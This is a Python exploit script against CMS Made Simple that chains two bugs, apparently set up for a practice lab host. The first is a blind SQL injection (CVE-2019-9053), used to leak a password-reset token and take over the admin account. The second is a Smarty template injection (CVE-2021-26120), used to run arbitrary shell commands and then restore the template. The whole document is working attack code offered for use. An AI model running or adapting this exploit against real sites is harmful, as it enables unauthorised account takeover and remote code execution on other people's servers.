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import requests
import sys
import re
from time import sleep
from lxml import etree
def login(s, t, usr):
uri = "%sadmin/login.php" % t
s.get(uri)
d = {
"username" : usr,
"password" : usr,
"loginsubmit" : "Submit"
}
r = s.post(uri, data=d)
match = re.search("style.php\?__c=(.*)\"", r.text)
assert match, "(-) login failed"
return match.group(1)
def trigger_or_patch_ssti(s, csrf, t, tpl):
# CVE-2021-26120
d = {
"mact": 'DesignManager,m1_,admin_edit_template,0',
"__c" : csrf,
"m1_tpl" : 10,
"m1_submit" : "Submit",
"m1_name" : "Simplex",
"m1_contents" : tpl
}
r = s.post("%sadmin/moduleinterface.php" % t, files={}, data=d)
if"rce()" in tpl:
r = s.get("%sindex.php" % t)
assert ("endrce" in r.text), "(-) rce failed!"
cmdr = r.text.split("endrce")[0]
print(cmdr.strip())
def determine_bool(t, exp):
p = {
"mact" : "News,m1_,default,0",
"m1_idlist": ",1)) and %s-- " % exp
}
r = requests.get("%smoduleinterface.php" % t, params=p)
return True if r.text.count("Posted by:") == 2else False
def trigger_sqli(t, char, sql, c_range):
# CVE-2019-9053
for i in c_range:
# <> characters are html escaped so we just have =
# substr w/ from/for because anymore commas and the string is broken up resulting in an invalid query
if determine_bool(t, ",1)) and ascii(substr((%s) from %d for 1))=%d-- " % (sql, char, i)): return chr(i)
return-1
def leak_string(t, sql, leak_name, max_length, c_range):
sys.stdout.write("(+) %s: " % leak_name)
sys.stdout.flush()
leak_string = ""
for i in range(1,max_length+1):
c = trigger_sqli(t, i, sql, c_range)
# username is probably < 25 characters
if c == -1:
break
leak_string += c
sys.stdout.write(c)
sys.stdout.flush()
assert len(leak_string) > 0, "(-) sql injection failed for %s!" % leak_name
return leak_string
def reset_pwd_stage1(t, usr):
d = {
"forgottenusername" : usr,
"forgotpwform" : 1,
}
r = requests.post("%sadmin/login.php" % t, data=d)
assert ("User Not Found" not in r.text), "(-) password reset failed!"
def reset_pwd_stage2(t, usr, key):
d = {
"username" : usr,
"password" : usr, # just reset to the username
"passwordagain" : usr, # just reset to the username
"changepwhash" : key,
"forgotpwchangeform": 1,
"loginsubmit" : "Submit",
}
r = requests.post("%sadmin/login.php" % t, data=d)
match = re.search("Welcome: <a href=\"myaccount.php\?__c=[a-z0-9]*\">(.*)<\/a>", r.text)
assert match, "(-) password reset failed!"
assert match.group(1) == usr, "(-) password reset failed!"
def leak_simplex(s, t, csrf):
p = {
"mact" : "DesignManager,m1_,admin_edit_template,0",
"__c" : csrf,
"m1_tpl" : 10
}
r = s.get("%sadmin/moduleinterface.php" % t, params=p)
page = etree.HTML(r.text)
tpl = page.xpath("//textarea//text()")
assert tpl is not None, "(-) leaking template failed!"
return"".join(tpl)
def remove_locks(s, t, csrf):
p = {
"mact" : "DesignManager,m1_,admin_clearlocks,0",
"__c" : csrf,
"m1_type" : "template"
}
s.get("%sadmin/moduleinterface.php" % t, params=p)
def main():
if(len(sys.argv) < 4):
print("(+) usage: %s <host> <path> <cmd>" % sys.argv[0])
print("(+) eg: %s 192.168.75.141 / id" % sys.argv[0])
print("(+) eg: %s 192.168.75.141 /cmsms/ \"uname -a\"" % sys.argv[0])
return
pth = sys.argv[2]
cmd = sys.argv[3]
pth = pth + "/"if not pth.endswith("/") else pth
pth = "/" + pth if not pth.startswith("/") else pth
# target = "http://%s%s" % (sys.argv[1], pth)
target="http://www.my.cs1ab.com/"
print("(+) targeting %s" % target)
if determine_bool(target, "1=1") and not determine_bool(target, "1=2"):
print("(+) sql injection working!")
print("(+) leaking the username...")
username = "cslab"
print("\n(+) resetting the %s's password stage 1" % username)
reset_pwd_stage1(target, username)
print("(+) leaking the pwreset token...")
pwreset = leak_string(
target,
"select value from cms_userprefs where preference=0x70777265736574 and user_id=1", # qoutes will break things
"pwreset",
32, # md5 hash is always 32
list(range(48,58)) + list(range(97,103)) # charset: 0-9a-f
)
print(pwreset)
print("\n(+) done, resetting the %s's password stage 2" % username)
reset_pwd_stage2(target, username, pwreset)
session = requests.Session()
# print("(+) logging in...")
csrf = login(session, target, username)
# print("(+) leaking simplex template...")
remove_locks(session, target, csrf)
simplex_tpl = leak_simplex(session, target, csrf)
print("(+) injecting payload and executing cmd...\n")
rce_tpl = "{function name='rce(){};system(\"%s\");function '}{/function}endrce" % cmd
trigger_or_patch_ssti(session, csrf, target, rce_tpl+simplex_tpl)
while True:
r = session.get("%sindex.php" % target)
if"endrce" not in r.text:
break
trigger_or_patch_ssti(session, csrf, target, simplex_tpl)
if __name__ == '__main__':
main()
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